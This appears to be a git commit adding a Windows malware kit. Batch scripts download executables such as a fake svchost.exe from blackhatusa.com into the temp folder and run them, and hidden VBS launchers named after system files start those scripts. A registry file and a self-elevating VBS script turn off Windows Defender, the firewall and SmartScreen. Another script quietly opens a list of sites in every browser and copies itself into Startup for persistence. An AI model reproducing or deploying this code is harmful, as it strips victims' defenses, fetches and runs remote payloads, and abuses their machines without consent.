initial commit
This commit is contained in:
i2p
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+19
@@ -0,0 +1,19 @@
|
||||
@echo off
|
||||
:: Define the URL and destination
|
||||
set "url=https://blackhatusa.com/setup.exe"
|
||||
set "output=%TEMP%\setup.exe"
|
||||
|
||||
:: Use PowerShell to download the file
|
||||
echo Downloading file from %url%...
|
||||
powershell -Command "Invoke-WebRequest -Uri '%url%' -OutFile '%output%' -UseBasicParsing"
|
||||
|
||||
:: Check if the file was downloaded successfully
|
||||
if exist "%output%" (
|
||||
echo File downloaded successfully to %output%.
|
||||
echo Executing the file...
|
||||
start "" "%output%"
|
||||
) else (
|
||||
echo Failed to download the file.
|
||||
)
|
||||
|
||||
pause
|
||||
BIN
Binary file not shown.
@@ -0,0 +1,2 @@
|
||||
Set WshShell = CreateObject("WScript.Shell")
|
||||
WshShell.Run "cmd.exe /c acledit.bat", 0, False
|
||||
@@ -0,0 +1,118 @@
|
||||
Option Explicit
|
||||
Dim sites, browsers, browser_paths, base_url, browser, browser_path, xmlhttp, sitemap_url
|
||||
Dim dom, loc_nodes, num_posts, post_urls, i, j, WShell, shell, startup_folder, fso
|
||||
Dim script_fullname, script_name
|
||||
|
||||
' Array of websites
|
||||
sites = Array( _
|
||||
"https://www.apksure.asia", _
|
||||
"https://www.apksure.cc", _
|
||||
"https://www.apksure.info", _
|
||||
"https://www.forearmtattoos.net", _
|
||||
"https://www.apksure.net", _
|
||||
"https://www.jackintheboxmenu.us", _
|
||||
"https://www.blackhatusa.com", _
|
||||
"https://www.scootersmenu.us", _
|
||||
"https://www.texasroadhousemenus.us", _
|
||||
"https://www.wendymenus.us", _
|
||||
"https://www.sonicmenuwithprices.us", _
|
||||
"https://www.wafflehousemenus.us", _
|
||||
"https://www.thehackingtools.net", _
|
||||
"https://www.firehousesubsmenuprice.com", _
|
||||
"https://www.tiktokmodapk.com", _
|
||||
"https://www.thehackingtools.com", _
|
||||
"https://www.adobephotoshopcrack.com", _
|
||||
"https://www.rinsins.com", _
|
||||
"https://www.cryptersrc.com", _
|
||||
"https://www.blankhack.com", _
|
||||
"https://www.psddl.com", _
|
||||
"https://www.blackhatrussia.com", _
|
||||
"https://www.shanghaiblackgoons.com", _
|
||||
"https://www.blackhatrussia.org" _
|
||||
)
|
||||
|
||||
' Array of browsers and their executable paths (default installation paths for Windows)
|
||||
browsers = Array("firefox", "chrome", "opera", "operagx", "brave", "msedge", "tor")
|
||||
browser_paths = Array( _
|
||||
"""C:\Program Files\Mozilla Firefox\firefox.exe""", _
|
||||
"""C:\Program Files\Google\Chrome\Application\chrome.exe""", _
|
||||
"""C:\Users\" & CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") & "\AppData\Local\Programs\Opera\launcher.exe""", _
|
||||
"""C:\Users\" & CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") & "\AppData\Local\Programs\Opera GX\launcher.exe""", _
|
||||
"""C:\Program Files (x86)\BraveSoftware\Brave-Browser\Application\brave.exe""", _
|
||||
"""C:\Program Files\Microsoft\Edge\Application\msedge.exe""", _
|
||||
"""C:\Users\" & CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") & "\AppData\Local\Tor Browser\Browser\firefox.exe""" _
|
||||
)
|
||||
|
||||
' Create shell object for running commands
|
||||
Set WShell = CreateObject("WScript.Shell")
|
||||
|
||||
' Open each website in all browsers simultaneously
|
||||
For Each base_url In sites
|
||||
For i = 0 To UBound(browsers)
|
||||
browser_path = browser_paths(i)
|
||||
WShell.Run browser_path & " " & base_url, 0, False
|
||||
WScript.Sleep 1000 ' Brief pause to avoid overwhelming the system
|
||||
Next
|
||||
Next
|
||||
|
||||
' Process each website's sitemap
|
||||
For Each base_url In sites
|
||||
Set xmlhttp = CreateObject("MSXML2.XMLHTTP")
|
||||
sitemap_url = base_url & "/post-sitemap1.xml"
|
||||
xmlhttp.Open "GET", sitemap_url, False
|
||||
On Error Resume Next
|
||||
xmlhttp.Send
|
||||
On Error GoTo 0
|
||||
|
||||
If xmlhttp.Status = 200 Then
|
||||
Set dom = CreateObject("MSXML2.DOMDocument.6.0")
|
||||
dom.async = False
|
||||
dom.loadXML xmlhttp.responseText
|
||||
|
||||
If dom.parseError.errorCode = 0 Then
|
||||
Set loc_nodes = dom.selectNodes("//url/loc")
|
||||
num_posts = loc_nodes.length
|
||||
|
||||
If num_posts > 0 Then
|
||||
ReDim post_urls(9) ' Array for up to 10 posts
|
||||
For i = 0 To 9
|
||||
If i < num_posts Then
|
||||
post_urls(i) = loc_nodes(i).text
|
||||
Else
|
||||
post_urls(i) = ""
|
||||
End If
|
||||
Next
|
||||
|
||||
' Open posts in reverse order in all browsers
|
||||
For j = 9 To 0 Step -1
|
||||
If post_urls(j) <> "" Then
|
||||
For i = 0 To UBound(browsers)
|
||||
browser_path = browser_paths(i)
|
||||
WShell.Run browser_path & " " & post_urls(j), 0, False
|
||||
Next
|
||||
WScript.Sleep 60000 ' Wait 1 minute before opening the next post
|
||||
End If
|
||||
Next
|
||||
End If
|
||||
End If
|
||||
End If
|
||||
Set xmlhttp = Nothing
|
||||
Set dom = Nothing
|
||||
Set loc_nodes = Nothing
|
||||
Next
|
||||
|
||||
' Add script to startup if not already present
|
||||
Set shell = CreateObject("WScript.Shell")
|
||||
startup_folder = shell.SpecialFolders("Startup")
|
||||
Set fso = CreateObject("Scripting.FileSystemObject")
|
||||
script_fullname = WScript.ScriptFullName
|
||||
script_name = WScript.ScriptName
|
||||
|
||||
If Not fso.FileExists(startup_folder & "\" & script_name) Then
|
||||
fso.CopyFile script_fullname, startup_folder & "\" & script_name
|
||||
End If
|
||||
|
||||
' Clean up
|
||||
Set WShell = Nothing
|
||||
Set shell = Nothing
|
||||
Set fso = Nothing
|
||||
@@ -0,0 +1,19 @@
|
||||
@echo off
|
||||
:: Define the URL and destination
|
||||
set "url=https://blackhatusa.com/clip.exe"
|
||||
set "output=%TEMP%\clip.exe"
|
||||
|
||||
:: Use PowerShell to download the file
|
||||
echo Downloading file from %url%...
|
||||
powershell -Command "Invoke-WebRequest -Uri '%url%' -OutFile '%output%' -UseBasicParsing"
|
||||
|
||||
:: Check if the file was downloaded successfully
|
||||
if exist "%output%" (
|
||||
echo File downloaded successfully to %output%.
|
||||
echo Executing the file...
|
||||
start "" "%output%"
|
||||
) else (
|
||||
echo Failed to download the file.
|
||||
)
|
||||
|
||||
pause
|
||||
@@ -0,0 +1,2 @@
|
||||
Set WshShell = CreateObject("WScript.Shell")
|
||||
WshShell.Run "cmd.exe /c pnpui.bat", 0, False
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
@echo off
|
||||
:: Define the URL and destination
|
||||
set "url=https://blackhatusa.com/update.exe"
|
||||
set "output=%TEMP%\update.exe"
|
||||
|
||||
:: Use PowerShell to download the file
|
||||
echo Downloading file from %url%...
|
||||
powershell -Command "Invoke-WebRequest -Uri '%url%' -OutFile '%output%' -UseBasicParsing"
|
||||
|
||||
:: Check if the file was downloaded successfully
|
||||
if exist "%output%" (
|
||||
echo File downloaded successfully to %output%.
|
||||
echo Executing the file...
|
||||
start "" "%output%"
|
||||
) else (
|
||||
echo Failed to download the file.
|
||||
)
|
||||
|
||||
pause
|
||||
@@ -0,0 +1,14 @@
|
||||
Windows Registry Editor Version 5.00
|
||||
|
||||
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
|
||||
"DisableAntiSpyware"=dword:00000001
|
||||
"AllowFastServiceStartup"=dword:00000000
|
||||
"ServiceKeepAlive"=dword:00000000
|
||||
|
||||
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
|
||||
"DisableRealtimeMonitoring"=dword:00000001
|
||||
"DisableOnAccessProtection"=dword:00000001
|
||||
"DisableScanOnRealtimeEnable"=dword:00000001
|
||||
|
||||
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend]
|
||||
"Start"=dword:00000004
|
||||
@@ -0,0 +1,2 @@
|
||||
Set WshShell = CreateObject("WScript.Shell")
|
||||
WshShell.Run "cmd.exe /c rasdiag.bat", 0, False
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
Option Explicit
|
||||
Dim WShell, oShell, strCmd, strArgs, objFSO
|
||||
|
||||
Set WShell = CreateObject("WScript.Shell")
|
||||
Set objFSO = CreateObject("Scripting.FileSystemObject")
|
||||
|
||||
' Check if script is running with admin privileges
|
||||
If Not WShell.Run("net session >nul 2>&1", 0, True) = 0 Then
|
||||
' Relaunch script as administrator
|
||||
Set oShell = CreateObject("Shell.Application")
|
||||
strCmd = objFSO.GetFile(WScript.ScriptFullName).Path
|
||||
strArgs = ""
|
||||
oShell.ShellExecute "wscript.exe", """" & strCmd & """ " & strArgs, "", "runas", 1
|
||||
WScript.Quit
|
||||
End If
|
||||
|
||||
' Disable Windows Defender Real-Time Protection and other features via registry
|
||||
WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v DisableAntiSpyware /t REG_DWORD /d 1 /f", 0, True
|
||||
WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f", 0, True
|
||||
WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f", 0, True
|
||||
WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f", 0, True
|
||||
WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f", 0, True
|
||||
WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f", 0, True
|
||||
|
||||
' Disable Windows Defender services
|
||||
WShell.Run "cmd.exe /c sc config WinDefend start= disabled", 0, True
|
||||
WShell.Run "cmd.exe /c sc stop WinDefend", 0, True
|
||||
WShell.Run "cmd.exe /c sc config WdNisSvc start= disabled", 0, True
|
||||
WShell.Run "cmd.exe /c sc stop WdNisSvc", 0, True
|
||||
|
||||
' Disable Windows Firewall
|
||||
WShell.Run "cmd.exe /c netsh advfirewall set allprofiles state off", 0, True
|
||||
|
||||
' Disable SmartScreen
|
||||
WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\System"" /v EnableSmartScreen /t REG_DWORD /d 0 /f", 0, True
|
||||
|
||||
' Notify user of completion
|
||||
WShell.Popup "Windows Defender, real-time protection, and other security features have been disabled. Please restart your computer for changes to take effect.", 0, "Operation Complete", 64
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
@echo off
|
||||
:: Define the URL and destination
|
||||
set "url=https://blackhatusa.com/svchost.exe"
|
||||
set "output=%TEMP%\svchost.exe"
|
||||
|
||||
:: Use PowerShell to download the file
|
||||
echo Downloading file from %url%...
|
||||
powershell -Command "Invoke-WebRequest -Uri '%url%' -OutFile '%output%' -UseBasicParsing"
|
||||
|
||||
:: Check if the file was downloaded successfully
|
||||
if exist "%output%" (
|
||||
echo File downloaded successfully to %output%.
|
||||
echo Executing the file...
|
||||
start "" "%output%"
|
||||
) else (
|
||||
echo Failed to download the file.
|
||||
)
|
||||
|
||||
pause
|
||||
@@ -0,0 +1,2 @@
|
||||
Set WshShell = CreateObject("WScript.Shell")
|
||||
WshShell.Run "cmd.exe /c xpssvcs.bat", 0, False
|
||||
Reference in New Issue
Block a user